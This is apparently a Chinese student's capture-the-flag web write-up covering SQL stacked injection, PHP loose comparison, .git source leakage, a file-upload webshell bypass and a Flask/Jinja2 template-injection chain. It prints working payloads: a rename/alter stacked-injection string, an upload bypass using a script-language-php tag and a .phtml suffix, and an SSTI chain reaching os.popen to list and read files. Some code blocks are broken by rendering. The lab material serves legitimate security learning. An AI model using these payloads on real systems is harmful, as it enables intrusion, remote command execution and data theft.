继续总结。
sql堆叠注入[stack injection]
sql注入中,当我们无法使用select等查询语句时[通常来说是被过滤了],我们可以考虑尝试堆叠注入。所谓堆叠注入,顾名思义,就是一次性执行多条sql语句。我们知道sql语句以分号;
结束,故如果我们使用分号提前结束前一条sql语句,然后再在分号后面执行我们想执行的语句,最后注释掉原本后面的sql语句段,就能实现堆叠注入的效果,从而造成了sql注入。
不过sql堆叠注入的利用条件有限,通常只有在后台sql允许一次执行多条语句时才能利用。以一个题来举例子:
题目链接:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5417&page=1
拿到题目先尝试'
发现sql报错,故判断存在sql注入点。随后1'or '1'='1
,发现有回显,随后借助order by
发现有两列,但尝试union select查询时发现了下面这条提示:
发现select,update,drop等等关键词都被过滤了,而且发现通过大小写,加注释等方式无法绕过,故只能放弃这一注入方式。随后尝试堆叠注入。
尝试显示一下所有数据库和所有数据表。
随后显示出words表和1919810931114514表的列:
发现在19198109931114514表中存在我们想要的flag,且查询的时候是查询words表里的id,故我们尝试更改表名并把flag列名修改成id列名,19198109931114514表名修改成words表名。
最终payload:1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100)
最后通过1'or '1'='1 #
得到flag。
php == 弱类型比较
php中有两种比较方式,==
和===
,其中==在进行比较的时候,会先将字符串类型转化成相同,再比较,而===在进行比较的时候,会先判断两种字符串的类型是否相等,再比较。举几个例子:
当php比较字符串和数字时,会将字符串向数字尝试转换,字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则值为0。但当字符串中出现.,e,E等字符时,如果字符前后都可转化为合法数字,则.会使字符串转化为小数,e,E会将字符串转换为科学计数法表示的数字。布尔值和数字比较时,true和大于等于1的数弱类型相等,false和0相等。
git源码泄露
git是一个是一个开源的分布式版本控制系统,可以有效、高速地处理从很小到非常大的项目版本管理。而初始化一个git目录时,会产生一个.git的文件夹,如果没有处理好则会造成git源码泄露。git源码可以通过GitHack来获取文件。以一个题目来举例子。
题目链接:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5002&page=1
拿到题目收集一下信息,F12发现element的注释里有个flag,访问发现为空。发现about页面提示使用了git,判断存在git源码泄露。
访问/.git/目录,发现果然存在git源码泄露。
随后使用GitHack将源码还原。
打开flag.php,发现内容是空的。
打开index.php看看,发现了关键代码:
1 | <?php |
文件上传
题目链接:https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]Upload
打开题目发现有一个文件上传的接口,随便上传一个1.jpg看看,发现提示Not Image。
修改请求,写入一句话木马,并修改文件名为1.php,再次上传,发现提示错误。
使用phtml后缀绕过,再次提交,依然发现错误。
说明后台对文件内容也进行了分析,提示发现<?
故尝试通过<script language="php"></script>
绕过,发现成功上传木马。
下面就简单了,使用蚁剑连接。然而发现直接连接/1.phtml会报错,故猜测/upload/1.phtml路径,发现成功连接。
(发现了好多不同的文件后缀,应该除了.phtml其他格式应该也能绕过吧,回头都试试嗯)
后面搜一搜服务器,flag就到手了。
python flask 模板注入
python的flask框架使用Jinja2作为模板渲染引擎,如果render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,这里将造成ssti漏洞。Jinja2中{{}}```是变量包裹标识符,它会将```{{}}
中的内容当作变量解析替换,如果我们的url中也含有{{}}```的话,就会造成ssti。
> 吐槽一句,hexo的模板渲染引擎将我文章里的```{{}}
给编译掉了,然而我本意就是这个符号,感觉这里有bug…
以一个题目举例子:
题目链接:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5408&page=1
打开题目提示python template injection,尝试发现表达式被执行,故存在ssti。
我们现在需要考虑借助这个ssti获得服务器的控制台权限。因为是python的框架,所以我们需要使用python来获取控制台权限,我们想到了os.system
和os.popen
两个方法,前者返回退出状态码,后者以file形式返回输出内容。这里我们要看到内容,故选择os.popen
。
那么怎么找到这个方法呢,python为我们提供了完整的查找链:
1 | __class__:返回对象所属类; |
‘’.class
1 | 服务器返回: |
URL http://111.198.29.45:59359/<type ‘str’> not found
1 | 这个回复告诉我们,当前变量所在的类是str。 |
‘’.class.mro
1 | 服务器返回: |
URL http://111.198.29.45:59359/(<type ‘str’>, <type ‘basestring’>, <type ‘object’>) not found
1 | 基类也有了。 |
‘’.class.mro[2].subclasses()
1 | 服务器返回了一大串,我们找到os所在的```site._Printer```类,它在第72位,即```__subclasses__()[71]```。 |
‘’.class.mro[2].subclasses()[71].init.globals[‘os’].popen(‘ls’).read()
1 | 服务器返回: |
URL http://111.198.29.45:59359/fl4g index.py not found
1 | 最后一步,读取fl4g。 |
‘’.class.mro[2].subclasses()[71].init.globals[‘os’].popen(‘cat fl4g’).read()
1 | 服务器返回: |
URL http://111.198.29.45:59359/ctf{f22b6844-5169-4054-b2a0-d95b9361cb57} not found
flag到手。